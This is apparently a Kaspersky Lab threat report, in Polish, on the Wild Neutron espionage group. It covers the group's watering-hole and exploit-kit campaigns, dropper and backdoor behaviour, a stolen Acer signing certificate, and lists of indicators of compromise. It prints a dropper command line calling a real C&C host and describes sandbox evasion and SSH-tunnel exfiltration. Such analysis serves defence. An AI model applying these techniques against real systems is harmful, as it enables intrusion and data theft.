Oznaki włamania
Potężne ugrupowanie cyberprzestępcze występujące pod nazwą „Wild Neutron” (znane również jako „Jripbot” oraz „Morpho“) wykazuje aktywność przynajmniej od 2011 roku, infekując znane firmy od kilku lat poprzez wykorzystywanie w tym celu zestawu różnych exploitów, ataków „przy wodopoju” oraz szkodliwego oprogramowania wieloplatformowego.
W ostatniej rundzie ataków z 2015 r. wykorzystano skradziony certyfikat służący do podpisywania kodu, należący do tajwańskiego producenta elektroniki Acer oraz nieznany exploit Flash Playera.
O grupie Wild Neutron zrobiło się głośno w 2013 roku, gdy skutecznie zainfekowała takie firmy jak Apple, Facebook, Twitter oraz Microsoft. W ataku tym wykorzystano exploita zero-day Javy oraz zhakowane fora jako tzw. „wodopoje”. Incydent z 2013 r. został szeroko nagłośniony, po czym odpowiedzialna za niego grupa zniknęła na prawie rok.
Ataki zostały wznowione na przełomie 2013 i 2014 r. i były kontynuowane również w 2015 roku. Cele nowych ataków obejmują:
Profil ofiar raczej wyklucza, że ugrupowanie to było sponsorowane przez rząd. Jednak wykorzystanie exploitów zero-day, wieloplatformowego szkodliwego oprogramowania, jak również innych technik pozwala sądzić, że mamy tu do czynienia z potężnym podmiotem zajmującym się szpiegostwem, prawdopodobnie motywowanym względami ekonomicznymi.
Starsze kampanie (2013 rok)
Podczas ataków w 2013 roku ugrupowanie Wild Neutron włamało się na i wykorzystało do swoich celów witrynę www.iphonedevsdk[.]com, która stanowi forum deweloperów iPhone’a.
Osoby atakujące wstrzyknęły skrypt do forum, które przekierowywało odwiedzających na inną stronę (min.liveanalytics[.]org – obecnie objętą operacją leja (singhole) przez Kaspersky Lab) i hostowało exploita zero-day Javy. Podobny atak został również zidentyfikowany na innym forum poświęconym twórcom Linuksa: fedoraforum[.]org.
Inne fora zhakowane przez grupę Wild Neutron, które zostały zidentyfikowane w raportach z systemu Kaspersky Security Network, obejmują:
Spośród nich wyróżniają się w szczególności dwa: “community.flexispy[.]com” oraz “ansar1[.]info“. Pierwsze z nich to społeczność prowadzona przez Flexispy, firmę sprzedającą spyware dla urządzeń mobilnych. Drugim jest forum dżihadystów, które obecnie jest zamknięte.
ansar1[.]info został wstrzyknięty przez ugrupowanie Wild Neutron w 2013 r.
W 2013 roku osoby atakujące wykorzystywały również backdoora dla systemu Mac OS X znanego jako OSX/Pintsized. Ten sam backdoor, skompilowany dla systemu Win32, jest nadal wykorzystywany w atakach przeprowadzanych w 2015 roku.
Wśród najbardziej znanych ofiar ataku z 2013 roku znajduje się Twitter, Facebook, Apple oraz Microsoft. Incydenty te były szeroko relacjonowane przez prasę, a niektóre z zaatakowanych firm wydały oświadczenie dotyczące incydentu (oświadczenie Facebooka).
Fakt, że na celowniku znalazły się wiodące firmy IT, takie jak Facebook, Twitter, Apple oraz Microsoft, jest czymś nietypowym, jednak niezupełnie bezprecedensowym. Dość niezwykły jest jednak brak ofiar w innych sektorach, takich jak instytucje dyplomatyczne czy rządowe. To pozwala sądzić, że nie mamy do czynienia z atakiem sponsorowanym przez rząd.
Analiza techniczna
Szkodliwe oprogramowanie wykorzystywane przez ugrupowanie Wild Neutron posiada kilka grup komponentów, w tym:
Chociaż spersonalizowane, niektóre moduły wydają się w dużym stopniu opierać na narzędziach otwartego kodu (np. narzędzie do zrzucania haseł (dumper) przypomina kod Mimikatz oraz Pass-The-Hash Toolkit) oraz komercyjnym szkodliwym oprogramowaniu (moduł proxy HTTPS jest praktycznie identyczny z tym wykorzystywanym przez Hesperbota ).
Cała komunikacja z serwerem kontroli (C&C) jest zaszyfrowana przy pomocy niestandardowego protokołu. Zrzucone pliki wykonywalne, jak również niektóre z zapisanych na stałe ciągów, są zwykle zaciemniane przy pomocy XOR-a (w zależności od wersji bota). Główny moduł backdoora zawiera kilka technik unikania wykrycia, które pozwalają wykryć lub przekroczyć limit czasowy piaskownic (sandboxy) oraz silników emulacji.
Pierwotny wektor infekcji wykorzystany w atakach w latach 2014-2015 nadal jest nieznany, chociaż istnieją dość wyraźne dowody na to, że ofiary są atakowane przy użyciu zestawu exploitów, który wykorzystuje nieznaną lukę Flash Playera.
W jednym z ataków zaobserwowano następujący łańcuch wykorzystania exploitów:
Strona |
hxxp://cryptomag.mediasource.ch/ |
Ścieżki |
/favicon.ico |
Wydaje się, że subdomena cryptomag.mediasource[.]ch została stworzona w celu przeprowadzenia tego ataku; wskazywała na adres IP związany z innymi serwerami kontroli grupy Wild Neutron, które poniżej zostały podkreślone czerwoną linią:
Hosty rozwiązywane do adresu 66.55.133[.]89
O ile app.cloudprotect[.]eu i ssl.cloudprotect[.]eu to dwa znane serwery kontroli grupy Wild Neutron, wydaje się, że cryptomag.mediasource[.]ch wskazuje na ten adres IP w celu wykorzystania exploitów. Kolejną podejrzaną domeną jest secure.pdf-info[.]com. Jak dotąd nie zarejestrowaliśmy żadnych ataków związanych z tą nazwą hosta, jednak schemat nazwy wskazuje, że również jest szkodliwa.
W innym ataku zaobserwowaliśmy podobny łańcuch wykorzystania exploitów, jednak hostowany na innej stronie internetowej hxxp://find.a-job.today/.
W obu przypadkach, osoby odwiedzające wyszukały tę stronę w przeglądarce lub znalazły się na niej za pośrednictwem reklamy internetowej. Stamtąd “autoload.js” pojawia się w obu przypadkach, przekierowując do innego pliku HTML o losowej nazwie, który ostatecznie ładuje plik o losowej nazwie SWF.
Podczas gdy w 2013 r. grupa ta stosowała ataki „przy wodopoju”, nadal nie wiadomo, w jaki sposób ofiary zostały przekierowane do zestawów exploitów w nowej fali ataków z lat 2014-2015. Zamiast exploitów Flasha starsze exploity grupy Wild Neutron oraz ataki „przy wodopoju” wykorzystywały exploita zero-day Javy pod koniec 2012 r. oraz na początku 2013 roku, wykrywanego przez produkty firmy Kaspersky Lab jako Exploit.Java.CVE-2012-3213.b.
Funkcjonalność głównego droppera jest stosunkowo prosta: odszyfrowuje plik wykonywalny backdoora (przechowywany jako zasób i zaszyfrowany przy użyciu prostego XOR 0x66), zapisuje go do określonej ścieżki, a następnie wykonuje z parametrami, które są zapisane na stałe w ciele droppera. Jednym z parametrów jest adres URL serwera kontroli (C&C), podczas gdy inne zawierają różne opcje konfiguracji botów.
Przykładowe parametry wykorzystane przez droppera:
igfxupt.exe https://app.cloudprotect[.]eu:443 /opts resolv=logs.cloudprotect[.]eu
Po wykonaniu głównego backdoora dropper zostaje bezpiecznie skasowany poprzez kilkakrotne nadpisanie jego zawartości losowymi liczbami przed zmianą nazwy i usunięciem pliku.
Ten plik binarny jest wykonywany z adresem URL serwera C&C jako parametrem; może również otrzymywać opcjonalną konfigurację bota. Te informacje są następnie podwójnie szyfrowane – najpierw za pomocą RC4, a następnie funkcji Windows CryptProtectData – i zapisywane do rejestru.
Przed wykonaniem jakiejkolwiek innej aktywności szkodnik ten uruchamia najpierw swój kod odraczający (który ma wyprzedzić emulatory), następnie kilkakrotnie sprawdza system w celu uniknięcia piaskownicy (sandbox) i wchodzi w pętlę nieskończoności w przypadku wykrycia niechcianego oprogramowania uruchomionego w systemie.
W innym przypadku gromadzi podstawowe informacje dotyczące systemu:
Na podstawie niektórych powyższych informacji szkodliwe oprogramowanie generuje unikatowe ID dla ofiary i rozpoczyna komunikację z serwerem kontroli przez wysłanie wartości ID oraz czekanie na polecenia.
Opcje konfiguracji backdoora mogą obejmować adres serwera proxy oraz dane uwierzytelniające, wartości czasu uśpienia/opóźnienia oraz typ połączenia, jednak najbardziej interesującą opcją jest opcja resolv=[url]. Jeżeli opcja ta została ustawiona, szkodliwe oprogramowanie generuje nazwę domeny składającą się z nazwy komputera, unikatowego ID oraz adresu URL przekazanego z tą opcją; następnie próbuje rozwiązać adres IP tej domeny. Podejrzewamy, że jest to metoda wykorzystywana przez osoby atakujące w celu wysyłania wygenerowanego UID do serwera kontroli.
Polecenia z serwera kontroli mogą instruować bota, aby wykonał następujące działania:
Starsze wersje tego backdoora, wykorzystanego w atakach z 2013 r., miały nieco szerszą funkcjonalność:
Funkcje te zostały usunięte z nowszych wersji backdoora wykorzystywanych w ostatnich atakach. Zamiast tego twórcy szkodliwego oprogramowania postanowili zaimplementować mechanizm wtyczki i uruchomić różne narzędzia dla różnych zadań. To sugeruje wyraźną zmianę kierunku na bardziej elastyczną architekturę modułową.
Pod względem funkcjonalności główny backdoor nie różni się od wielu innych narzędzi zdalnego dostępu (ang. Remote Access Tools, RAT). Tym, co go tak naprawdę wyróżnia, są zabiegi osoby atakującej, aby ukryć adres C&C poprzez zaszyfrowanie go w rejestrze przy użyciu informacji zależnych od komputera. Warta uwagi jest również zdolność „powrócenia do gry” po zamknięciu serwera kontroli przez skontaktowanie się z dynamicznie wygenerowaną nazwą domeny, którą wcześniej znają tylko osoby atakujące, ponieważ jest ona związana z każdą unikatową ofiarą.
Według znacznika czasowego próbek, dystrybucja wygląda następująco:
Każdy backdoor zawiera wewnętrzny numer wersji, który w ostatnich próbkach przyjmuje wartość od 11000 do 16000. Dzięki temu mogliśmy stworzyć następującą mapę ewolucyjną:
Backdoory wykorzystane w atakach z 2013 r.:
MD5 |
Znacznik czasowy |
Wersja |
Nazwa pliku |
Rozmiar |
1582d68144de2808b518934f0a02bfd6 |
29 listopada 2012 |
11000 |
javacpl.exe |
327168 |
14ba21a3a0081ef60e676fd4945a8bdc |
30 listopada 2012 |
12000 |
javacpl.exe |
329728 |
0fa3657af06a8cc8ef14c445acd92c0f |
09 stycznia 2013 |
13000 |
javacpl.exe |
343552 |
Backdoory wykorzystane w atakach z lat 2014 i 2015:
MD5 |
Znacznik czasowy |
Wersja |
Nazwa pliku |
Rozmiar |
95ffe4ab4b158602917dd2a999a8caf8 |
13 grudnia 2013 |
14014 |
LiveUpdater.exe |
302592 |
342887a7ec6b9f709adcb81fef0d30a3 |
20 czerwca 2014 |
15013 |
FlashUtil.exe |
302592 |
dee8297785b70f490cc00c0763e31b69 |
02 sierpnia 2013 |
16010 |
IgfxUpt.exe |
291328 |
f0fff29391e7c2e7b13eb4a806276a84 |
27 października 2014 |
16017 |
RtlUpd.exe |
253952 |
Instalatory również posiadają numer wersji, który wskazuje na następującą ewolucję:
MD5 |
Znacznik czasowy |
Wersja |
1f5f5db7b15fe672e8db091d9a291df0 |
16 grudnia 2011 |
1.4.1 |
48319e9166cda8f605f9dce36f115bc8 |
28 września 2012 |
1.5.0 |
088472f712d1491783bbad87bcc17c48 |
12 kwietnia 2013 |
1.6.3 |
ee24a7ad8d137e54b854095188de0bbf |
07 stycznia 2014 |
1.6.4 |
Po zainstalowaniu głównego backdoora i ustanowieniu początkowej komunikacji z serwerem kontroli osoby atakujące wykorzystują zestaw różnych narzędzi w celu wydobycia poufnych danych i kontrolowania maszyny ofiary. Narzędzia te obejmują trojana przechwytującego hasła, backdoora odwrotnej powłoki oraz spersonalizowane implementacje OpenSSH, WMIC i SMB. Czasami zrzucają jedynie prostą powłokę odwrotną perl i wykorzystują różne metody gromadzenia w celu pobrania danych uwierzytelniających z zestawu maszyn, eskalacji przywilejów oraz rozprzestrzeniania się za pośrednictwem sieci. Oprócz tych narzędzi istnieje również wiele niewielkich modułów narzędzi posiadających różne funkcjonalności, od modułów ładujących i narzędzi konfiguracji po narzędzi do niszczenia plików oraz serwery proxy sieciowych.
Warto również zauważyć, że to ugrupowanie cyberprzestępcze w dużym stopniu bazuje na istniejącym już kodzie, wykorzystując dostępne publicznie aplikacje otwartego źródła jak również narzędzia Metasploit oraz źródła szkodliwego oprogramowania, które wyciekły, w celu stworzenia własnego zestawu narzędzi. Niektóre z tych narzędzi powinny działać w środowisku Cygwin i są dostarczane wraz z Cygwin API DLL, co może sugerować, że osoby atakujące czują się pewniej, pracując w środowisku podobnym do Linuksa.
Podczas ataków z lat 2014/2015 osoby atakujące rozprzestrzeniały niestandardowe backdoory tunelowe dla systemu Win32 oparte na OpenSSH, które są wykorzystywane do wyprowadzania dużych ilości danych w niezawodny sposób. Te backdoory tunelowe są zapisywane jako “updt.dat” i wykonywane z dwoma parametrami: -z oraz -p. Określają one IP oraz port, z jakim należy się połączyć. Mimo że port ma numer 443, połączenie jest SSH:
W celu uwierzytelnienia backdoor tunelowy SSH zawiera zapisany na stałe prywatny klucz RSA.
Podczas ataków z 2015 roku Wild Neutron wykorzystał droppera podpisanego przy użyciu skradzionego ale ważnego certyfikatu Acer Incorporated.
Podpis firmy w dropperze grupy Wild Neutron
Przywłaszczony certyfikat posiada następujące właściwości:
Serial: 5c c5 3b a3 e8 31 a7 df dc 7c 28 d5 15 8f c3 80
Thumbprint: 0d 85 91 41 ee 9a 0c 6e 72 5f fe 6b cf c9 9f 3e fc c3 fc 07
Dropper (dbb0ea0436f70f2a178a60c4d8b791b3) został prawdopodobnie podpisany 15 czerwca 2015 r. Zrzuca backdoora Jripbot jako “IgfxUpt.exe” i konfiguruje go, tak aby wykorzystywał serwer kontroli “app.cloudprotect[.]eu”.
Współpracowaliśmy z firmami Symantec, Verisign oraz Acer w celu cofnięcia skompromitowanego certyfikatu.
Ofiary i dane statystyczne
Ataki ugrupowania Wild Neutron wydają się być wysoce ukierunkowane. Podczas naszego dochodzenia zdołaliśmy zidentyfikować kilka ofiar w jedenastu państwach i terytoriach:
Ofiarami wersji z lat 2014-2015 są ogólnie firmy IT oraz agencje nieruchomości/firmy inwestycyjne. W obu przypadkach w organizacjach zainfekowano niewielką liczbę komputerów. Wydaje się, że osoby atakujące uaktualniły implant szkodliwego oprogramowania i rozmieściły kilka dodatkowych narzędzi.
Fakt, że atakujący wzięli na celownik różne firmy, nie koncentrując się jedynie na kręgach rządowych, sugeruje, że nie mamy tu do czynienia z atakiem APT sponsorowanym przez rząd. Osoby atakujące wykazały również zainteresowanie celami związanymi z inwestycjami, co świadczy o posiadaniu wiedzy i umiejętności umożliwiających wykorzystanie takich informacji na rynku dla uzyskanie korzyści finansowych.
W niektórych próbkach zaszyfrowana konfiguracja zawiera ciąg w języku rumuńskim, który jest wykorzystywany na oznaczenie końca komunikacji z serwerem kontroli:
Co ciekawe, “La revedere” oznacza „do widzenia” w języku rumuńskim. Ponadto, znaleźliśmy inny ciąg nieangielskojęzyczny, który stanowi transkrypcję na język łaciński rosyjskiego słowa Успешно (“uspeshno” -> “skutecznie”).
Jedna z próbek posiada wewnętrzną nazwę “WinRAT-Win32-Release.exe”. To oznacza prawdopodobnie, że autorzy nazwali szkodliwe oprogramowanie “WinRAT”.
Więcej informacji dotyczących identyfikacji grupy Wild Neutron jest dostępnych dla klientów Kaspersky Intelligence Services. Prosimy skontaktować się z intelreports@kaspersky.com
W porównaniu z innymi grupami APT Wild Neutron stanowi jedną z najbardziej niezwykłych, jakie do tej pory analizowaliśmy i śledziliśmy. Działając od 2011 r., wykorzystała co najmniej jednego exploita zero-day, zindywidualizowane szkodliwe oprogramowanie oraz narzędzia i udało jej się nie ściągnąć na siebie zbyt wielkiej uwagi dzięki solidnemu maskowaniu swoich działań, co uniemożliwiło większość prób identyfikacji. Ataki na znaczące firmy IT, twórców oprogramowania spyware (FlexiSPY), fora dżihadystów (Ansar Al-Mujahideen English Forum) oraz firmy oparte na kryptowalucie Bitcoin świadczą o elastycznym, a jednocześnie nieprzeciętnym sposobie myślenia i zainteresowaniach.
Wśród cech wyróżniających tę grupę należy wymienić:
Nadal śledzimy grupę Wild Neutron, która wznowiła swoją aktywność od czerwca 2015 r.
Produkty firmy Kaspersky Lab wykrywają wykorzystywane w atakach szkodliwe oprogramowanie jako:
HEUR:Trojan.Win32.WildNeutron.gen, Trojan.Win32.WildNeutron.*, Trojan.Win32.JripBot.*, HEUR:Trojan.Win32.Generic
ddosprotected.eu
updatesoft.eu
app.cloudprotect.eu
fw.ddosprotected.eu
logs.cloudprotect.eu
ssl.cloudprotect.eu
ssl.updatesoft.eu
adb.strangled.net
digitalinsight-ltd.com
ads.digitalinsight-ltd.com
cache.cloudbox-storage.com
cloudbox-storage.com
clust12-akmai.net
corp-aapl.com
fb.clust12-akmai.net
fbcbn.net
img.digitalinsight-ltd.com
jdk-update.com
liveanalytics.org
min.liveanalytics.org
pop.digitalinsight-ltd.com
ww1.jdk-update.com
find.a-job.today
cryptomag.mediasource.ch
185.10.58.181
46.183.217.132
64.187.225.231
62.113.238.104
66.55.133.89
217.23.6.13
%APPDATA%\Roaming\FlashUtil.exe
%APPDATA%\Roaming\Acer\LiveUpdater.exe
%APPDATA%\Roaming\Realtek\RtlUpd.exe
%ProgramData%\Realtek\RtlUpd.exe
%APPDATA%\Roaming\sqlite3.dll (UPX packed)
%WINDIR%\winsession.dll
%APPDATA%\appdata\local\temp\teamviewer\version9\update.exe
%SYSTEMROOT%\temp\_dbg.tmp
%SYSTEMROOT%\temp\ok.tmp
C:\windows\temp\debug.txt
C:\windows\syswow64\mshtaex.exe
%SYSROOT%\System32\mshtaex.exe
%SYSROOT%\System32\wdigestEx.dll
%SYSROOT%\System32\dpcore16t.dll
%SYSROOT%\System32\iastor32.exe
%SYSROOT%\System32\mspool.dll
%SYSROOT%\System32\msvcse.exe
%SYSROOT%\System32\mspool.exe
C:\Program Files (x86)\LNVSuite\LnrAuth.dll
C:\Program Files (x86)\LNVSuite\LnrAuthSvc.dll
C:\Program Files (x86)\LNVSuite\LnrUpdt.exe
C:\Program Files (x86)\LNVSuite\LnrUpdtP.exe
DF39527~.tmp
\\.\pipe\winsession
\\.\pipe\lsassw
Global\LnrRTPDispatchEvents
_Winlogon_TCP_Service